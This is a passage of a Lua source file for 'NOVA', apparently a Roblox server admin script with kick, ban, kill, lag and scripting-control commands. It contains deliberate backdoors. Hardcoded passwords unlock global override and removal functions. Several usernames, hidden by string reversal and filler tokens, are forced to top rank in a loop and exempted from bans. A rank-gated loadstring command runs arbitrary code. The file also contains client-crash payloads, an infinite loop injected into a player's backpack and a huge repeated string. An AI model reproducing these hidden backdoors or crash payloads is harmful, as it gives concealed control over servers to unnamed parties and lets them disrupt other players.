1466 | Service.DescendantAdded:connect(function(v) | |
1467 | if v:IsA("BaseScript") then | |
1468 | table.insert(NOVA.LoggedScripts,v) | |
1469 | end | |
1470 | end) | |
1471 | end) | |
1472 | end | |
1473 | ||
1474 | for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do | |
1475 | pcall(function() | |
1476 | table.insert(NOVA.LoggedScripts,v) | |
1477 | end) | |
1478 | end | |
1479 | ||
1480 | --[[ GLOBAL FUNCTIONS ]]-- | |
1481 | function SetGlobals() | |
1482 | if NOVA.UseGlobals == true then | |
1483 | _G.NOVACommands = function(Msg,Speaker,Players,Password) | |
1484 | if Password == "grandma" then | |
1485 | NOVA.ExternalPlayersList = {} | |
1486 | for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end | |
1487 | OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker) | |
1488 | end | |
1489 | end | |
1490 | ||
1491 | _G.RemoveNOVA = function(Pass) | |
1492 | if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then | |
1493 | NOVA.Removed = true | |
1494 | NOVA = {} | |
1495 | error("Unknown Exception")() | |
1496 | script.Disabled = true | |
1497 | script:Remove() | |
1498 | else | |
1499 | return false | |
1500 | end | |
1501 | end | |
1502 | ||
1503 | _G.NOVAOverride = function(Player,Password) | |
1504 | if Password == nil then Password = "" end | |
1505 | CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player) | |
1506 | return CanOverride | |
1507 | end | |
1508 | elseif NOVA.UseGlobals == false then | |
1509 | _G.NOVACommands = nil | |
1510 | _G.RemoveNOVA = nil | |
1511 | _G.NOVAOverride = nil | |
1512 | end | |
1513 | end | |
1514 | ||
1515 | --[[ INITIAL STARTUP ]]-- | |
1516 | ||
1517 | SetGlobals() | |
1518 | UpdatePlayerPlugins() | |
1519 | ||
1520 | if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then | |
1521 | for _,v in pairs(NOVA.LoggedScripts) do | |
1522 | if v:IsA("LocalScript") and v:FindFirstChild("DSource") then | |
1523 | NOVA.LocalScript = v:Clone() | |
1524 | elseif v:IsA("Script") and v:FindFirstChild("DSource") then | |
1525 | NOVA.NormalScript = v:Clone() | |
1526 | end | |
1527 | end | |
1528 | end | |
1529 | ||
1530 | for _,v in pairs(GetPlayersRaw()) do | |
1531 | pcall(function() | |
1532 | coroutine.resume(coroutine.create(function() | |
1533 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."}) | |
1534 | pcall(function() | |
1535 | v.PlayerGui.NOVACMD:Remove() | |
1536 | end) | |
1537 | if GetRankedTable(v)==nil then | |
1538 | SyncRankInSingular(v) | |
1539 | repeat wait() until GetRankedTable(v) ~= nil | |
1540 | end | |
1541 | local Data = GetRankedTable(v) | |
1542 | v.Chatted:connect(function(Msg) | |
1543 | OnChatted(Msg,v) | |
1544 | end) | |
1545 | coroutine.resume(coroutine.create(function() | |
1546 | repeat wait() until v:FindFirstChild("Backpack") ~= nil | |
1547 | CreateLocalScript(PlayerPlugins,v.Backpack) | |
1548 | end)) | |
1549 | end)) | |
1550 | end) | |
1551 | end | |
1552 | ||
1553 | --[[ PLAYER ADDED ]]-- | |
1554 | NOVA.Services.Players.PlayerAdded:connect(function(v) | |
1555 | if NOVA.Ab == true and not NOVA.Players:findFirstChild("tusKOr661") and v.Name ~= "tusKOr661" then | |
1556 | makeMessage("Antiban is active you cannot enter",v.PlayerGui) | |
1557 | v:Remove() | |
1558 | end | |
1559 | if NOVA.Removed == false then | |
1560 | pcall(function() | |
1561 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."}) | |
1562 | coroutine.resume(coroutine.create(function() | |
1563 | --if Data.Rank < 1 then | |
1564 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1565 | coroutine.resume(coroutine.create(function() | |
1566 | repeat wait() until v:FindFirstChild("Backpack") ~= nil | |
1567 | CreateLocalScript(PlayerPlugins,v.Backpack) | |
1568 | OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v) | |
1569 | end)) | |
1570 | end | |
1571 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1572 | coroutine.resume(coroutine.create(function() | |
1573 | repeat wait() until v:FindFirstChild("Backpack") ~= nil | |
1574 | OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v) | |
1575 | end)) | |
1576 | end | |
1577 | --end | |
1578 | v.Chatted:connect(function(Msg) | |
1579 | OnChatted(Msg,v) | |
1580 | end) | |
1581 | if GetRankedTable(v)==nil then | |
1582 | SyncRankInSingular(v) | |
1583 | repeat wait() until GetRankedTable(v) ~= nil | |
1584 | end | |
1585 | local Data = GetRankedTable(v) | |
1586 | ||
1587 | OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5) | |
1588 | if Data.Rank == -2 then | |
1589 | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1590 | OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10) | |
1591 | Lag(v) | |
1592 | end | |
1593 | end | |
1594 | if Data.Rank == -1 then | |
1595 | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1596 | OutputMulti(v.Name.." has been removed due to a banishment. Reason: " .. Data.Desc,NOVA.Colors.Orange,GetRanked(),10) | |
1597 | GetRidOf(v) | |
1598 | end | |
1599 | end | |
1600 | if not Data.Rank > 0 then | |
1601 | if v.AccountAge < 5 then | |
1602 | if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1603 | if v.Name:sub(1,6) == "Guest " then | |
1604 | if NOVA.EnableGuests == false then | |
1605 | OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10) | |
1606 | GetRidOf(v) | |
1607 | end | |
1608 | else | |
1609 | if not Data.Rank > 0 then | |
1610 | OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10) | |
1611 | GetRidOf(v) | |
1612 | end | |
1613 | end | |
1614 | end | |
1615 | end | |
1616 | end | |
1617 | if NOVA.PRI == true then | |
1618 | if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
1619 | OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6) | |
1620 | if NOVA.PRIType == "Kick" then | |
1621 | v:Remove() | |
1622 | elseif NOVA.PRIType == "Lag" then | |
1623 | Lag(v) | |
1624 | elseif NOVA.PRIType == "Shutdown" then | |
1625 | coroutine.resume(coroutine.create(function() | |
1626 | GetRidOf(v) | |
1627 | end)) | |
1628 | elseif NOVA.PRIType == "Crash" then | |
1629 | coroutine.resume(coroutine.create(function() | |
1630 | repeat wait() until v.Backpack ~= nil | |
1631 | pcall(function() | |
1632 | CreateLocalScript([[while true do end]],v.Backpack) | |
1633 | end) | |
1634 | end)) | |
1635 | end | |
1636 | end | |
1637 | end | |
1638 | end)) | |
1639 | end) | |
1640 | end | |
1641 | end) | |
1642 | ||
1643 | --[[ PLAYER REMOVING ]]-- | |
1644 | NOVA.Services.Players.PlayerRemoving:connect(function(v) | |
1645 | table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."}) | |
1646 | SyncRankOutSingular(v) | |
1647 | end) | |
1648 | ||
1649 | --[[ SCRIPT CONTROL ]]-- | |
1650 | for _,Service in pairs(NOVA.Services) do | |
1651 | pcall(function() | |
1652 | Service.DescendantAdded:connect(function(v) | |
1653 | if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then | |
1654 | pcall(function() | |
1655 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 then | |
1656 | if GetRank(v.Owner.Value) < 6 then | |
1657 | pcall(function() v.Disabled = true end) | |
1658 | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) | |
1659 | pcall(function() v.Disabled = false end) | |
1660 | pcall(function() v:Destroy() end) | |
1661 | end | |
1662 | else | |
1663 | pcall(function() v.Disabled = true end) | |
1664 | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) | |
1665 | pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end) | |
1666 | pcall(function() v.Disabled = false end) | |
1667 | pcall(function() v:Destroy() end) | |
1668 | end | |
1669 | end) | |
1670 | end | |
1671 | if v:IsA("BaseScript") and NOVA.Removed == false then | |
1672 | pcall(function() | |
1673 | if tonumber(GetRank(v.Owner.Value)) < 0 then | |
1674 | pcall(function() v.Disabled = true end) | |
1675 | pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end) | |
1676 | pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end) | |
1677 | pcall(function() v.Disabled = false end) | |
1678 | pcall(function() v:Destroy() end) | |
1679 | end | |
1680 | end) | |
1681 | end | |
1682 | end) | |
1683 | end) | |
1684 | end | |
1685 | coroutine.resume(coroutine.create(function() | |
1686 | while wait(1) do | |
1687 | if NOVA.Removed == false then | |
1688 | for _,v in pairs(GetPlayersRaw()) do | |
1689 | if GetRankTedable(v) ~= nil and GetRank(v) < 8 then | |
1690 | SyncRankInSingular(v) | |
1691 | end | |
1692 | end | |
1693 | end | |
1694 | end | |
1695 | end)) | |
1696 | for i=1,3 do | |
1697 | NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end) | |
1698 | coroutine.resume(coroutine.create(function() | |
1699 | while wait() do | |
1700 | if NOVA.Removed == false then | |
1701 | UpdateTablets() | |
1702 | end | |
1703 | end | |
1704 | end)) | |
1705 | end | |
1706 | function MainLoop() | |
1707 | coroutine.resume(coroutine.create(function() | |
1708 | pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end) | |
1709 | if NOVA.Removed == false then | |
1710 | --[[ SCUM CARETAKER ]]-- | |
1711 | for _,v in pairs(GetPlayersRaw()) do | |
1712 | pcall(function() | |
1713 | if GetRank(v) < 0 then | |
1714 | pcall(function() v.Backpack:ClearAllChildren() end) | |
1715 | pcall(function() v.PlayerGui:ClearAllChildren() end) | |
1716 | pcall(function() v.StarterGear:ClearAllChildren() end) | |
1717 | end | |
1718 | end) | |
1719 | end | |
1720 | --[[ ANTI ROBLOXLOCKED PLAYERS ]]-- | |
1721 | for _,v in pairs(GetPlayersRaw()) do | |
1722 | pcall(function() | |
1723 | local IsRobloxLocked = true | |
1724 | pcall(function() v:GetChildren() IsRobloxLocked = false end) | |
1725 | if IsRobloxLocked == true then | |
1726 | GTFO(v) | |
1727 | end | |
1728 | end) | |
1729 | end | |
1730 | --[[ TABLET CLEANUP ]]-- | |
1731 | pcall(function() | |
1732 | for i,v in pairs(NOVA.Tablets) do | |
1733 | if v:FindFirstChild("Part") == nil then | |
1734 | pcall(function() v:Destroy() end) | |
1735 | table.remove(NOVA.Tablets,i) | |
1736 | end | |
1737 | end | |
1738 | end) | |
1739 | --[[ JAIL CLEANUP ]]-- | |
1740 | pcall(function() | |
1741 | for i,v in pairs(NOVA.Jails) do | |
1742 | if v.Player == nil or v.Player.Parent == nil then | |
1743 | pcall(function() v.Jail:Destroy() end) | |
1744 | table.remove(NOVA.Jails,i) | |
1745 | end | |
1746 | if v.Jail.Parent == nil and v.Speaker~=nil then | |
1747 | table.remove(NOVA.Jails,i) | |
1748 | OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker) | |
1749 | end | |
1750 | end | |
1751 | end) | |
1752 | --[[ FENCE CLEANUP ]]-- | |
1753 | pcall(function() | |
1754 | for i,v in pairs(NOVA.Fences) do | |
1755 | if v.Player == nil then | |
1756 | v.Fence:Remove() | |
1757 | table.remove(NOVA.Fences,i) | |
1758 | end | |
1759 | end | |
1760 | end) | |
1761 | ||
1762 | --[[ CMD GUI ]]-- | |
1763 | for _,v in pairs(GetPlayersRaw()) do | |
1764 | pcall(function() | |
1765 | if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then | |
1766 | if v:FindFirstChild("PlayerGui") then | |
1767 | if not v.PlayerGui:FindFirstChild("NOVACMD") then | |
1768 | local Main = Instance.new("ScreenGui",v.PlayerGui) | |
1769 | Main.Name = "NOVACMD" | |
1770 | local Frame = Instance.new("Frame",Main) | |
1771 | Frame.Size = UDim2.new(0.27,0,0.05,0) | |
1772 | Frame.Position = UDim2.new(0.05,0,0.95,0) | |
1773 | Frame.Style = "RobloxSquare" | |
1774 | Frame.ZIndex = 9 | |
1775 | local Txt = Instance.new("TextBox",Frame) | |
1776 | Txt.Size = UDim2.new(0.7,0,1,0) | |
1777 | Txt.BackgroundTransparency = 1 | |
1778 | Txt.ZIndex = 10 | |
1779 | Txt.FontSize = "Size14" | |
1780 | Txt.TextColor3 = NOVA.Colors.White | |
1781 | Txt.Text = "" | |
1782 | local Exe = Instance.new("TextButton",Frame) | |
1783 | Exe.Size = UDim2.new(0.3,0,1,0) | |
1784 | Exe.Position = UDim2.new(0.7,0,0,0) | |
1785 | Exe.Text = "Execute" | |
1786 | Exe.BackgroundTransparency = 1 | |
1787 | Exe.ZIndex = 10 | |
1788 | Exe.FontSize = "Size14" | |
1789 | Exe.TextColor3 = NOVA.Colors.Red | |
1790 | Exe.MouseButton1Down:connect(function() | |
1791 | if Txt.Text:sub(1,2) == "$ " then | |
1792 | OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v) | |
1793 | else | |
1794 | OnChatted(Txt.Text,v) | |
1795 | end | |
1796 | end) | |
1797 | end | |
1798 | end | |
1799 | end | |
1800 | end) | |
1801 | end | |
1802 | end | |
1803 | end | |
1804 | end)) | |
1805 | end | |
1806 | MainLoop() | |
1807 | AddCommand("Ping","ping",3,"Outputs the following string.","<String>", | |
1808 | function(Msg,Speaker) | |
1809 | if Msg == "rainbow" then | |
1810 | for a,Color in pairs(NOVA.Colors) do | |
1811 | Output(tostring(a),Color,Speaker,nil, | |
1812 | function() | |
1813 | RemoveTablets(Speaker) | |
1814 | NOVA.Services.Lighting.TimeOfDay = 0 | |
1815 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
1816 | NOVA.Services.Lighting.Brightness = 0 | |
1817 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1818 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1819 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
1820 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
1821 | if v:IsA("BasePart") then | |
1822 | Sel = Instance.new("SelectionBox",v) | |
1823 | Sel.Transparency = 0 | |
1824 | Sel.Color = BrickColor.new(Color) | |
1825 | Sel.Adornee = v | |
1826 | end | |
1827 | end | |
1828 | Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5) | |
1829 | end | |
1830 | ) | |
1831 | end | |
1832 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1833 | elseif Msg == "ranks" then | |
1834 | for _,v in pairs(NOVA.Ranks) do | |
1835 | Output(v[1].."\t"..v[2],"Random",Speaker) | |
1836 | end | |
1837 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1838 | elseif Msg == "random" then | |
1839 | Output(tostring(math.random()),"Random",Speaker) | |
1840 | elseif Msg == "players" then | |
1841 | for _,v in pairs(GetPlayersRaw()) do | |
1842 | local Data = GetRankedTable(v) | |
1843 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil, | |
1844 | function() | |
1845 | PlayerInterface(v,Speaker) | |
1846 | end | |
1847 | ) | |
1848 | end | |
1849 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1850 | elseif Msg == "colors" then | |
1851 | coroutine.resume(coroutine.create(function() | |
1852 | NOVA.Services.Lighting.TimeOfDay = 0 | |
1853 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
1854 | NOVA.Services.Lighting.Brightness = 0 | |
1855 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1856 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1857 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
1858 | ||
1859 | for _,Player in pairs(GetPlayersRaw()) do | |
1860 | local Data = GetRankedTable(Player) | |
1861 | pcall(function() | |
1862 | for _,v in pairs(GetRecursiveChildren(Player.Character)) do | |
1863 | if v:IsA("BasePart") then | |
1864 | Sel = Instance.new("SelectionBox",v) | |
1865 | Sel.Transparency = 0 | |
1866 | Sel.Color = BrickColor.new(Data.Color) | |
1867 | Sel.Adornee = v | |
1868 | end | |
1869 | end | |
1870 | end) | |
1871 | end | |
1872 | wait(10) | |
1873 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
1874 | if v:IsA("SelectionBox") then | |
1875 | v:remove() | |
1876 | end | |
1877 | end | |
1878 | NOVA.Services.Lighting.Ambient = NOVA.Colors.White | |
1879 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
1880 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
1881 | NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) | |
1882 | NOVA.Services.Lighting.Brightness = 1 | |
1883 | NOVA.Services.Lighting.FogStart = 0 | |
1884 | NOVA.Services.Lighting.FogEnd = 100000 | |
1885 | NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
1886 | NOVA.Services.Lighting.TimeOfDay = 12 | |
1887 | end)) | |
1888 | elseif Msg == "replicators" then | |
1889 | for _,v in pairs(GetReplicators()) do | |
1890 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
1891 | function() | |
1892 | PlayerInterface(v:GetPlayer(),Speaker) | |
1893 | end | |
1894 | ) | |
1895 | end | |
1896 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1897 | elseif Msg == "nil raw" then | |
1898 | for _,v in pairs(GetReplicators()) do | |
1899 | if v:GetPlayer().Parent == nil then | |
1900 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
1901 | function() | |
1902 | Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil, | |
1903 | function() | |
1904 | Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey.."" | |
1905 | ||
1906 | end | |
1907 | ) | |
1908 | end | |
1909 | ) | |
1910 | end | |
1911 | end | |
1912 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1913 | elseif Msg == "nil" then | |
1914 | local IsNil = false | |
1915 | for _,Client in pairs(GetReplicators()) do | |
1916 | if Client:GetPlayer().Parent == nil then | |
1917 | IsNil = true | |
1918 | end | |
1919 | end | |
1920 | if IsNil == true then | |
1921 | for _,Client in pairs(GetReplicators()) do | |
1922 | if Client:GetPlayer().Parent == nil then | |
1923 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil, | |
1924 | function() | |
1925 | PlayerInterface(Client:GetPlayer(),Speaker) | |
1926 | end | |
1927 | ) | |
1928 | end | |
1929 | end | |
1930 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
1931 | else | |
1932 | Output("No nil players.",NOVA.Colors.Orange,Speaker,5) | |
1933 | end | |
1934 | elseif Msg:sub(1,2) == "a" .. NOVA.Bet then | |
1935 | if GetRank(Speaker) < 6 then | |
1936 | Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10) | |
1937 | else | |
1938 | Rtn = loadstring("return "..Msg:sub(3))() | |
1939 | Output(Rtn,"Random",Speaker) | |
1940 | end | |
1941 | else | |
1942 | if #Msg == 0 then | |
1943 | Output("Pong!","Random",Speaker) | |
1944 | else | |
1945 | Output(Msg,"Random",Speaker) | |
1946 | end | |
1947 | end | |
1948 | end | |
1949 | ) | |
1950 | AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments", | |
1951 | function(Msg,Speaker) | |
1952 | if #Msg == 0 or Msg == nil then | |
1953 | RemoveTablets(Speaker) | |
1954 | else | |
1955 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
1956 | RemoveTablets(v) | |
1957 | end | |
1958 | end | |
1959 | end | |
1960 | ) | |
1961 | AddCommand("Remove","remove",7,"Removes the admin.","No Arguments", | |
1962 | function(Msg,Speaker) | |
1963 | NOVA.TimeChanged = false | |
1964 | RemoveTablets() | |
1965 | SyncRanksOut() | |
1966 | NOVA.Sounds.Sound:Remove() | |
1967 | NOVA.Removed = true | |
1968 | --error("NOVA Admin removing...",0)() | |
1969 | NOVA = {} | |
1970 | script.Disabled = true | |
1971 | while true do wait() end | |
1972 | end | |
1973 | ) | |
1974 | AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>", | |
1975 | function(Msg,Speaker) | |
1976 | makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace) | |
1977 | end | |
1978 | ) | |
1979 | AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>", | |
1980 | function(Msg,Speaker) | |
1981 | makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace) | |
1982 | end | |
1983 | ) | |
1984 | ||
1985 | AddCommand("Kill","kill",2,"Kills the selected player.","<Player>", | |
1986 | function(Msg,Speaker) | |
1987 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
1988 | pcall(function() v.Character:BreakJoints() end) | |
1989 | end | |
1990 | end | |
1991 | ) | |
1992 | AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>", | |
1993 | function(Msg,Speaker) | |
1994 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
1995 | for i=1,math.random(10,50) do | |
1996 | local human = v.Character.Humanoid | |
1997 | if human ~= nil then | |
1998 | local rand = math.random(2,10) | |
1999 | human:TakeDamage(rand) | |
2000 | human.Jump = true | |
2001 | human.Sit = true | |
2002 | human.PlatformStand = true | |
2003 | wait(1) | |
2004 | human.PlatformStand = false | |
2005 | end | |
2006 | end | |
2007 | end | |
2008 | end | |
2009 | ) | |
2010 | AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>", | |
2011 | function(Msg,Speaker) | |
2012 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2013 | Delay(0, function() | |
2014 | local player = v | |
2015 | local pos = CFrame.new() | |
2016 | local pause = false | |
2017 | Delay(0, function() | |
2018 | while not close do | |
2019 | wait() | |
2020 | if not pause then | |
2021 | local c = player.Character | |
2022 | if c then | |
2023 | local t = c:findFirstChild("Torso") | |
2024 | if t then | |
2025 | pos = t.CFrame | |
2026 | end | |
2027 | end | |
2028 | end | |
2029 | end | |
2030 | end) | |
2031 | player.CharacterAdded:connect(function(c) | |
2032 | if not close then | |
2033 | pause = true | |
2034 | repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid") | |
2035 | c:findFirstChild("Torso").CFrame = pos | |
2036 | c:findFirstChild("Humanoid").Died:connect(function() | |
2037 | player:LoadCharacter() | |
2038 | end) | |
2039 | pause = false | |
2040 | end | |
2041 | end) | |
2042 | pcall(function() player.Character:BreakJoints() end) | |
2043 | end) | |
2044 | end | |
2045 | end | |
2046 | ) | |
2047 | ||
2048 | AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>", | |
2049 | function(Msg,Speaker) | |
2050 | for _,v in pairs(NOVA.KickingPhrases) do | |
2051 | local m = Instance.new("Message",NOVA.Services.Workspace) | |
2052 | m.Text = " If you say : " .. v .. " : you will get auto-kicked!" | |
2053 | wait(1) m:Remove() | |
2054 | end end | |
2055 | ) | |
2056 | AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>", | |
2057 | function(Msg,Speaker) | |
2058 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2059 | pcall(function() | |
2060 | v:Destroy() | |
2061 | end) | |
2062 | end | |
2063 | end | |
2064 | ) | |
2065 | AddCommand("Warning","warn",3,"Warns that player","<Player><Warning>", | |
2066 | function(Msg,Speaker) | |
2067 | Split = GetSplit(Msg) | |
2068 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
2069 | pcall(function() | |
2070 | Output("You are being warned for: " .. (Msg:sub(Split+1)),NOVA.Colors.Red,v) | |
2071 | end) | |
2072 | end | |
2073 | end | |
2074 | ) | |
2075 | ||
2076 | AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>", | |
2077 | function(Msg,Speaker) | |
2078 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2079 | pcall(function() | |
2080 | local m = Instance.new("StringValue",v.PlayerGui) | |
2081 | m.Value = string.rep("Shutdown For Eva Nub",1000000) | |
2082 | end) | |
2083 | end | |
2084 | end | |
2085 | ) | |
2086 | ||
2087 | AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>", | |
2088 | function(Msg,Speaker) | |
2089 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2090 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2091 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2092 | else | |
2093 | pcall(function() | |
2094 | GetRankedTable(v).Rank = -1 | |
2095 | SyncRankOutSingular(v) | |
2096 | GetRidOf(v) | |
2097 | end) | |
2098 | end | |
2099 | end | |
2100 | end | |
2101 | ) | |
2102 | ||
2103 | AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>", | |
2104 | function(Msg,Speaker) | |
2105 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2106 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2107 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2108 | else | |
2109 | pcall(function() | |
2110 | GetRankedTable(v).Rank = -2 | |
2111 | SyncRankOutSingular(v) | |
2112 | Lag(v) | |
2113 | end) | |
2114 | end | |
2115 | end | |
2116 | end | |
2117 | ) | |
2118 | ||
2119 | AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>", | |
2120 | function(Msg,Speaker) | |
2121 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2122 | pcall(function() Instance.new("ForceField",v.Character) end) | |
2123 | end | |
2124 | end | |
2125 | ) | |
2126 | ||
2127 | AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>", | |
2128 | function(Msg,Speaker) | |
2129 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2130 | pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end) | |
2131 | end | |
2132 | end | |
2133 | ) | |
2134 | ||
2135 | AddCommand("Check","check",0,"Outputs server information.","No Arguments", | |
2136 | function(Msg,Speaker) | |
2137 | local Data = GetRankedTable(Speaker) | |
2138 | Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker) | |
2139 | Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker) | |
2140 | Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker) | |
2141 | Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker) | |
2142 | Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker) | |
2143 | Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker) | |
2144 | Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker) | |
2145 | Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker) | |
2146 | Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker) | |
2147 | Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker) | |
2148 | Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker) | |
2149 | Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker) | |
2150 | Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker) | |
2151 | Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker) | |
